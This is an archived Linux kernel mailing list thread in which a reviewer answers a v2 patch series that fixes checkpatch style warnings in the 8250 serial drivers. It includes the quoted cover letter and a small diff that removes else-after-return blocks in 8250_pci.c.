Cc: linux-serial@vger.kernel.org,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffe
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 16:12:47 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9wi1-0002O6-Dl
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Dec 2015 16:12:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753155AbbLRPMk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2015 10:12:40 -0500
Original-Received: from mail-pf0-f171.google.com ([209.85.192.171]:34517 "EHLO
	mail-pf0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753798AbbLRPMj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2015 10:12:39 -0500
Original-Received: by mail-pf0-f171.google.com with SMTP id u7so3883615pfb.1
        for <linux-parisc@vger.kernel.org>; Fri, 18 Dec 2015 07:12:39 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=J/e2tG/CUALJJC1oveJd61PgaAMKakdIpS1OsHtJFUg=;
        b=zqvdvj5OWEtczzchSPnzYFhP6R9epIrBlShGSf5+NpEfq1MAN2yZTQitLj48/4EsYA
         q0/QnO7iZ8xp5QURk9ilHBr7o3xFU6Yl78ijRPQpWLXlNEP8zzrazP4lEk9TbeJ3vDFg
         jOtRierbMK1Kya8cjzoQ/c7Jo9HPZs7XtGM6/KZuREgUfhM8DQCTF0G7Iw7mV3wnV6W1
         bOmJvlvAN7+TdVFu9cTcjavSPGAyLFACT7yx/zFFT3WFOleVVdk/NnNFn7hnKPit/7LV
         H+MyCN8yrXt82VMFgVsnlcHY3Z4SAdsqQjd04+MCiCkVDzG4jLV24w4M7ulyRWRLDjfJ
         soaQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=J/e2tG/CUALJJC1oveJd61PgaAMKakdIpS1OsHtJFUg=;
        b=XpjDQZfxLQS/04L+sAh1MJj+3yFIEh6E9WQEwXW3t6mIy5fwzvbVY8GFZenZ5SAIpO
         WuFCdAlmAAgMkxJKadF+rSdRYcavNWLgW4Ke/vmOjq9+bJ14B8+M0eF9QAhY38k8h679
         c8FblB7N6SQUiFqKrwdNjalnOqgNpvsDMFhXH2AsLxUet78mTAPYdsJPxLJMB8CVmQcO
         s/S8DHYwZcS9ccvzt2Y6itqBmdi0Q4GlGmLz+FII686c60pqLhXVTAXcxKBX7Qy3/l/G
         6Eh4U5tn9VHjmFLR7AAKRxgCa+OMKwyVm263d9NtDbBgUxrpM+uebDT/Pg71z0ETikWL
         VXrg==
X-Gm-Message-State: ALoCoQl/e+rPRzRSyK95pHCCajZcAy/IEKuAMmduDytWT+wgRu+fnX2I858+rfSQ4XlAl+0U1aTcvsaMhN18qwpYx2wJZmFHVQ==
X-Received: by 10.98.15.199 with SMTP id 68mr6095345pfp.60.1450451559055;
        Fri, 18 Dec 2015 07:12:39 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id fl9sm22989545pab.33.2015.12.18.07.12.37
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 18 Dec 2015 07:12:38 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450437723-2978-4-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26230 gmane.linux.serial:21174 gmane.linux.kernel:2111827
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26230>

On 12/18/2015 03:21 AM, Anton Wuerfel wrote:
> This patch fixes a checkpatch warning by moving an opening curly brace
> to its correct position.

Reviewed-by: Peter Hurley <peter@hurleysoftware.com>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: Re: [PATCH v2 00/11] tty: serial: 8250: Fix checkpatch warnings
Date: Fri, 18 Dec 2015 07:17:19 -0800
Lines: 94
Approved: news@gmane.org
Message-ID: <5674237F.5000501@hurleysoftware.com>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450451868 7394 80.91.229.3 (18 Dec 2015 15:17:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 15:17:48 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de
To: Anton Wuerfel <anton.wuerfel@fau.de>,
	Phillip Raffeck <phillip.raffeck@fau.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 16:17:38 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9wmc-0007oE-Cn
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Dec 2015 16:17:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753328AbbLRPRZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2015 10:17:25 -0500
Original-Received: from mail-pf0-f174.google.com ([209.85.192.174]:36024 "EHLO
	mail-pf0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752957AbbLRPRY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2015 10:17:24 -0500
Original-Received: by mail-pf0-f174.google.com with SMTP id o64so50510605pfb.3
        for <linux-parisc@vger.kernel.org>; Fri, 18 Dec 2015 07:17:24 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=FpZ9wEyij78PlYvblOHZZuzp8QpJYOnX2VVEMR3w12k=;
        b=QR1PkSlZfYxLvb3ev9/FPomu+T4A4amanhT7ENC6rvgv3zW1IH/skNCJ3IxMmH8yd8
         wokfWui7lPKr+lMvuTcIr7+vZF8ZvZz/N/CYw/BYUe3u3CwuSKphjFPdkoMCl3v4Zz26
         aSbCtQw7641WNvP4Z4b/cqehDvtGKPVw7DXiZFoMMJYjAN5DsjneO0hwKrbLa5XC1Lgq
         EKzESDB+6CaE8p4HgHDLnk6bRWveuRV79C4WTLFhaezGi1OT8VpTzK7pcQQ+XOgdjAIK
         8oCFCYIvIvlfiFpVexEL77YArAfveGr6F3l+rXltTvxe/eoK+ZA5FJ6lQ7MyMKe/repC
         HCuQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=FpZ9wEyij78PlYvblOHZZuzp8QpJYOnX2VVEMR3w12k=;
        b=X2wsTzmZXY1Bo9yGf2uelJxcFzkZMIvWLwndXhn/uKpJJxxJtw80h6n0QsekJzckFt
         2rLEGhgSkfw0KaFi9i3t/1aPMPC1YLokcfshqdMXPAPy+HDcukKHwyVyN6K9UW6c8iqe
         K0i+SfjXTXnLVfFrcTwGRqiOUPuvAiivRzRbFMhDsEtGZK+Q+x2F5HIzgLjz/lHZd0RA
         p/1eOy06VwHUW4NFZEQ6M2XX2fdHFRPT5DR/QmOTk6X+6bJtdcNkZ3Y5NjzVUnkI7YWj
         3b9Iwj8BvcmbVtcGZ/ZmoZ1FrUOt7kehaWC8zQ1kNyLO39bDVheLc0S9q20lYHCFWDbQ
         Q6mg==
X-Gm-Message-State: ALoCoQkgzq9lHHD/DQCY4e7XrfaACYPrUrm4oc4wsoLhNX4srPfzH9hGclMJlYjvZNtpm+L/JIjsR1PEfVrSojoXSkNhDOtbbQ==
X-Received: by 10.98.87.7 with SMTP id l7mr5957972pfb.124.1450451843771;
        Fri, 18 Dec 2015 07:17:23 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id u27sm18610484pfa.0.2015.12.18.07.17.22
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 18 Dec 2015 07:17:23 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26231 gmane.linux.serial:21175 gmane.linux.kernel:2111831
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26231>

On 12/18/2015 03:21 AM, Anton Wuerfel wrote:
> Hello Peter,
> 
> thanks for your feedback. We updated the patches according to your remarks.

Not a problem; on the contrary, thanks for the patches.

Just a procedural note: it's customary to address the patches to
the maintainer(s) and cc others and the list. It's not really a problem here
because Greg picks up everything but that's not true for other subsystems.
Just thought I'd let you know.

Regards,
Peter Hurley


> This patch set fixes several checkpatch warnings in tty/serial/8250.
> 
> Patch 1/11:  Adds missing spaces (mainly to function/macro headers)
> Patch 2/11:  Replace spaces with tabs wherever possible
> Patch 3/11:  Slight patch which moves an opening curly brace
> Patch 4/11:  Fixes multiline comment style
> Patch 5/11:  Removes else blocks after return statements
> Patch 6/11:  Slight patch which moves EXPORT_SYMBOL macro to correct position
> Patch 7/11:  Slight patch which removes an unneccessary line continuation
> Patch 8/11:  Slight patch which adds parentheses to a macro definition
> Patch 9/11:  Merges user-visible multiline strings to a single line
> Patch 10/11: Replaces printk by corresponding variant of pr_*
> Patch 11/11: Fixes code indentation
> 
> Remaining checkpatch warnings after applying this patch series:
> 
> -line over 80 characters
> 	This error mostly occurs in serial_cs.c, which contains long-lined
> 	macro calls. However, splitting these calls into multiple lines would
> 	not increase readability.
> 
> -externs should be avoided in .c files
> 	This occurs in 8250_hp300.c. There is no corresponding header file
> 	the extern statement could be moved to. It could be moved to 8250.h
> 	but this would affect other .c files.
> 
> -Use #include <linux/*.h> instead of <asm/*.h>
> 	This warning has been left open for more experienced kernel hackers.
> 	This patch series is about style issues. We do not intend to alter
> 	the code behavior.
> 
> -struct uart_ops should normally be const
> 	This warning only occurs in 8250_core.c. The corresponding struct
> 	cannot be declared as const because it is altered in
> 	serial8250_isa_init_ports(). Maybe a checkpatch exception should
> 	be added for this particular warning.
> 
> -quoted string split across lines
> 	These strings were ignored because they otherwise would exceed
> 	80 characters in a single line. These particular strings use
> 	format specifiers, which break the ability to grep for them anyway.
> 
> Anton Wuerfel (11):
> Phillip Raffeck (11):
>   tty: serial: 8250: Fix whitespace errors
>   tty: serial: 8250: Replace spaces with tabs
>   tty: serial: 8250: Fix braces after struct
>   tty: serial: 8250: Fix multiline comment style
>   tty: serial: 8250: Remove else after return
>   tty: serial: 8250: Move EXPORT_SYMBOL to function
>   tty: serial: 8250: Fix line continuation warning
>   tty: serial: 8250: Add parentheses to macro
>   tty: serial: 8250: Fix multi-line strings
>   tty: serial: 8250: Replace printk by pr_*
>   tty: serial: 8250: Fix indentation warnings
> 
>  drivers/tty/serial/8250/8250_accent.c        |  2 +-
>  drivers/tty/serial/8250/8250_acorn.c         |  2 +-
>  drivers/tty/serial/8250/8250_boca.c          |  2 +-
>  drivers/tty/serial/8250/8250_core.c          | 15 ++---
>  drivers/tty/serial/8250/8250_exar_st16c554.c |  2 +-
>  drivers/tty/serial/8250/8250_fourport.c      |  2 +-
>  drivers/tty/serial/8250/8250_gsc.c           |  6 +-
>  drivers/tty/serial/8250/8250_hp300.c         | 25 ++++----
>  drivers/tty/serial/8250/8250_hub6.c          |  2 +-
>  drivers/tty/serial/8250/8250_ingenic.c       | 12 ++--
>  drivers/tty/serial/8250/8250_pci.c           | 49 +++++++--------
>  drivers/tty/serial/8250/8250_pnp.c           | 16 ++---
>  drivers/tty/serial/8250/8250_port.c          | 50 ++++++++--------
>  drivers/tty/serial/8250/serial_cs.c          | 89 +++++++++++++++-------------
>  14 files changed, 142 insertions(+), 132 deletions(-)
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: Re: [PATCH v2 05/11] tty: serial: 8250: Remove else after return
Date: Fri, 18 Dec 2015 07:37:26 -0800
Lines: 63
Approved: news@gmane.org
Message-ID: <56742836.2050004@hurleysoftware.com>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
 <1450437723-2978-6-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450453078 29244 80.91.229.3 (18 Dec 2015 15:37:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 15:37:58 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffe
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 18 16:37:49 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9x6K-0001Sw-Ra
	for glk-linux-kernel-3@plane.gmane.org; Fri, 18 Dec 2015 16:37:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932691AbbLRPhh convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 18 Dec 2015 10:37:37 -0500
Original-Received: from mail-pf0-f171.google.com ([209.85.192.171]:35370 "EHLO
	mail-pf0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754431AbbLRPhb (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 18 Dec 2015 10:37:31 -0500
Original-Received: by mail-pf0-f171.google.com with SMTP id v86so50674512pfa.2
        for <linux-kernel@vger.kernel.org>; Fri, 18 Dec 2015 07:37:31 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=ihoh4CYqTEaP5h9lImO8AJ0c/3prQj2PAH4I6JiPKvo=;
        b=c7u7kD3SVp5MjWjtF89/vQh1mgBoacrqcjBrfLt74qOBhL6G3FbdJ+N5jK6W67z0wH
         I5o04/aXqiz1fnIQjVFIdIQ4a8SgVqvA8+mJl1OThPqrAw2rEeQV/aQDehNjVOQkwQUB
         7+H1FyAGvFz+PoU1FxGAQ/nx+WvKZmGZ4BGbewYjHbW2iZAYT5CQYRJ/Fy5aWP2hIxVT
         NT1yhU5575MsCQbmRVzrfhiGEqO61m55ETzXDISBd5slL/s/TQHRrVhq7trIUqolo9NX
         BHqWBZVcOIgQJ5dlFutG70ouBThFUqCfCfPKL0snb+KERggIt8Y+qW/3NLTUbb/XD8Kx
         QrcQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=ihoh4CYqTEaP5h9lImO8AJ0c/3prQj2PAH4I6JiPKvo=;
        b=Z4sHH9+7Og2CaMhCbkardpr6kmRfVCN44WSlBXwo9yqdUbIkEnWPVsDUyk2Qg5AgVb
         Is8K4AE31C52cUL835Vz5NnpixrHbuktW+94flf+8vZ4kRU60Wa5VZc6sKK7ybZ9z6dh
         Sfo0Vq27PO4P5oB4EQxnRSL/QkmJtBtKKcISl4qbRzwaNQ+K8lv4S5/eRzeZe9wBPEii
         1uO0NQmHPpRISTCoMi8lFm+Lg9OzzU33rBf/MqIVmnQjs9O8aZvlbHupmINRuOK59169
         V46WNdLfRHiYxG6pKmsveTtl0oCxhD5Wf+iQYYog096MWck4Xb634yJLarYna9unubrR
         Obgg==
X-Gm-Message-State: ALoCoQkRYtUb6TbHVN3RhqIWLriyVk4BXfYBHdsBxduHMzvlvBTcQVfdijK8mRq/3QGHzpnePZYRllX3qYvZgVbRCI+djy5Crw==
X-Received: by 10.98.13.204 with SMTP id 73mr5985950pfn.53.1450453051021;
        Fri, 18 Dec 2015 07:37:31 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id rt6sm23167976pab.17.2015.12.18.07.37.29
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 18 Dec 2015 07:37:30 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450437723-2978-6-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2111854 gmane.linux.serial:21176 gmane.linux.ports.parisc:26232
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2111854>

On 12/18/2015 03:21 AM, Anton Wuerfel wrote:
> This patch fixes checkpatch warnings about unnecessary else blocks af=
ter
> return statements.

Reviewed-by: Peter Hurley <peter@hurleysoftware.com>

See note below.

> Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
> Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
> CC: linux-kernel@i4.cs.fau.de
> ---
>  drivers/tty/serial/8250/8250_pci.c | 15 +++++++--------
>  1 file changed, 7 insertions(+), 8 deletions(-)
>=20
> diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/=
8250/8250_pci.c
> index 7f9f245..09157fa 100644
> --- a/drivers/tty/serial/8250/8250_pci.c
> +++ b/drivers/tty/serial/8250/8250_pci.c
> @@ -805,10 +805,10 @@ static int pci_netmos_9900_numports(struct pci_=
dev *dev)
> =20
>  	pi =3D (c & 0xff);
> =20
> -	if (pi =3D=3D 2) {
> +	if (pi =3D=3D 2)
>  		return 1;
> -	} else if ((pi =3D=3D 0) &&
> -			   (dev->device =3D=3D PCI_DEVICE_ID_NETMOS_9900)) {
> +
> +	if ((pi =3D=3D 0) && (dev->device =3D=3D PCI_DEVICE_ID_NETMOS_9900)=
) {
>  		/* two possibilities: 0x30ps encodes number of parallel and
>  		 * serial ports, or 0x1000 indicates *something*. This is not
>  		 * immediately obvious, since the 2s1p+4s configuration seems

checkpatch missed this comment style because it's what netdev uses.
Not a problem, though. We're not quite so formal here.

> @@ -816,12 +816,11 @@ static int pci_netmos_9900_numports(struct pci_=
dev *dev)
>  		 * advertising the same function 3 as the 4s+2s1p config.
>  		 */
>  		sub_serports =3D dev->subsystem_device & 0xf;
> -		if (sub_serports > 0) {
> +		if (sub_serports > 0)
>  			return sub_serports;
> -		} else {
> -			dev_err(&dev->dev, "NetMos/Mostech serial driver ignoring port on=
 ambiguous config.\n");
> -			return 0;
> -		}
> +
> +		dev_err(&dev->dev, "NetMos/Mostech serial driver ignoring port on =
ambiguous config.\n");
> +		return 0;
>  	}
> =20
>  	moan_device("unknown NetMos/Mostech program interface", dev);
>=20


From - Thu Nov 08 21:38:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: Re: [PATCH v2 06/11] tty: serial: 8250: Move EXPORT_SYMBOL to
 function
Date: Fri, 18 Dec 2015 07:38:01 -0800
Lines: 5
Approved: news@gmane.org
Message-ID: <56742859.5040303@hurleysoftware.com>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
 <1450437723-2978-7-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450453104 29884 80.91.229.3 (18 Dec 2015 15:38:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 15:38:24 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffe
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 18 16:38:15 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9x6j-00028q-VJ
	for glk-linux-kernel-3@plane.gmane.org; Fri, 18 Dec 2015 16:38:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932755AbbLRPiL (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 18 Dec 2015 10:38:11 -0500
Original-Received: from mail-pa0-f45.google.com ([209.85.220.45]:33625 "EHLO
	mail-pa0-f45.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932125AbbLRPiG (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 18 Dec 2015 10:38:06 -0500
Original-Received: by mail-pa0-f45.google.com with SMTP id ur14so62066863pab.0
        for <linux-kernel@vger.kernel.org>; Fri, 18 Dec 2015 07:38:06 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=5vMAaSnsM/3kizqknCxy6lqhowHvzorRFvMZv+AdGbk=;
        b=tddGjoQdtKbPk/vz6iDp0aE+yKJuZz0RR30gZKDI4e7rwYJucjuhzFHwtfSSsPafAx
         NutXxveIARehF2tG2zeZZmCDqmaR6scs6eRn8fUWA0kqY3PEn6O81WYOM2qNY3sJmTsu
         C95ox8MTTq4hwlz+YJRzA2xR3ysLILhXrjrXIm/S80pwAvHRALineYXNj2HDvpXq50og
         JbttLQcwVT4dZolXreOpAJhWfrMuuM968aWTTW4Lnl4+w0DZTc02avQKToLIJGoqfD8G
         4whitrs1+iKiqTMDnYYzBPOJKyo/jZfg4VDDpS3zJWtfraQbQj4Ho5IXuRgyHcAQD1JE
         awfw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=5vMAaSnsM/3kizqknCxy6lqhowHvzorRFvMZv+AdGbk=;
        b=gEUdL5Qv3XiF2MUpdxzv0MEXsv4jDeOcWS/UTPCHVRdfCKTAVQRrpXsAyn+Sxq7BDg
